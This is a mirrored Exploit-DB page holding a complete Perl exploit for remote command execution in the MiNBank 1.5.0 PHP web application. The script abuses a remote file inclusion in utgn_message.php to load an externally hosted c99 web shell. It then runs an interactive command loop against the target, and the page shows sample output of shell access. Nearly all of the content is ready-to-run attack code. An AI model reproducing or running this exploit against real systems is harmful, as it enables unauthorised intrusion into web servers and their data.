MiNBank 1.5.0 – Remote Command Execution - 体验盒子

作者： JosS

日期： 2010-03-03

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11624/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

#!/usr/bin/perl

####################################################################

# MiNBank 1.5.0 Remote Command Execution Exploit

# download: http://downloads.sourceforge.net/minbank/

#

# Author: Jose Luis Gongora Fernandez 'aka' JosS

# mail: sys-project[at]hotmail[dot]com

# site: http://www.hack0wn.com/

# team: Spanish Hackers Team - [SHT]

#

# Hack0wn Security Project!!

#

# This was written for educational purpose. Use it at your own risk.

# Author will be not responsible for any damage.

#

####################################################################

#

# "need" allow_url_include = On && register_globals = On

#

#Attack vector_RFI!: [/minba/utility/utgn_message.php]

# ...

#require_once("$minsoft_path/utility/utgn_config.php");

# ...

#

####################################################################

# OUTPUT: (tested on localhost)

#

# [shell]:~$ id

#uid=33(www-data) gid=33(www-data) groups=33(www-data)

# [shell]:~$ uname -a

#Linux h4x0rz 2.6.18-6-686 #1 SMP Fri Dec 12 16:48:28 UTC 2008 i686 GNU/Linux

# [shell]:~$ exit

# h4x0rz:/home/joss/Desktop#

use LWP::UserAgent;

use HTTP::Request;

use LWP::Simple;

use Getopt::Long;

sub clear{

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

}

&clear();

sub banner {

&clear();

print "[x] MiNBank 1.5.0 Remote Command Execution Exploit\n";

print "[x] Written By JosS\n";

print "[x] sys-project[at]hotmail[dot]com\n\n";

print "[+] Usage:\n";

print "[+] $0 -vuln \"web+path\" -shell \"shell\"\n";

print "[+] eX: $0 -vuln \"http://www.hack0wn.com/test/\" -shell \"http://hack0wn.com/desc/c99.txt?\"\n\n";

exit();

}

my $options = GetOptions (

'help!'=> \$help,

'vuln=s'=> \$vuln,

'shell=s'=> \$shell

);

&banner unless ($vuln);

&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);

chomp($shell);

while (){

print "[shell]:~\$ ";

chomp($cmd=<STDIN>);

if ($cmd eq "exit" || $cmd eq "quit") {

exit 0;

}

my $ua = LWP::UserAgent->new;

$iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";

chomp($iny);

my $own = $vuln . "/minba/utility/utgn_message.php?minsoft_path=" . $shell . $iny;

chomp($own);

my $req = HTTP::Request->new(GET => $own);

my $res = $ua->request($req);

my $con = $res->content;

if ($res->is_success){

print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);

}

else

{

print "[p0c] Exploit failed\n";

exit(1);

}

# __h0__